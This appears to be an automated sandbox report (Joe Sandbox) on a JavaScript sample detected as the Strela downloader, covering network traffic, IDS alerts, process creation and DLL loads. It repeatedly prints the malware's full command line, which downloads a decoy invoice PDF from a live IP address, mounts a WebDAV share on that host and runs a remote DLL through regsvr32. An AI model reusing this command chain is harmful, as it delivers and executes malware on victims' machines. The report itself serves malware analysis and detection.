42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49746

Source: global traffic

TCP traffic: 192.168.2.7:49746 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.7:57001 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49732 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1362896731.000002062BF1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1417257943.0000025A56D38000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1417257943.0000025A56D89000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1417257943.0000025A56D69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1417257943.0000025A56D38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/log5
Source: svchost.exe, 00000009.00000002.2655592711.0000024A6DE00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.1420380088.0000024A6E000000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7496, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1358019715229232264.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7592:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qgem5qgr.xnb.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1358019715229232264.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1624,i,9361814265493686063,13477829696629400152,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1624,i,9361814265493686063,13477829696629400152,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
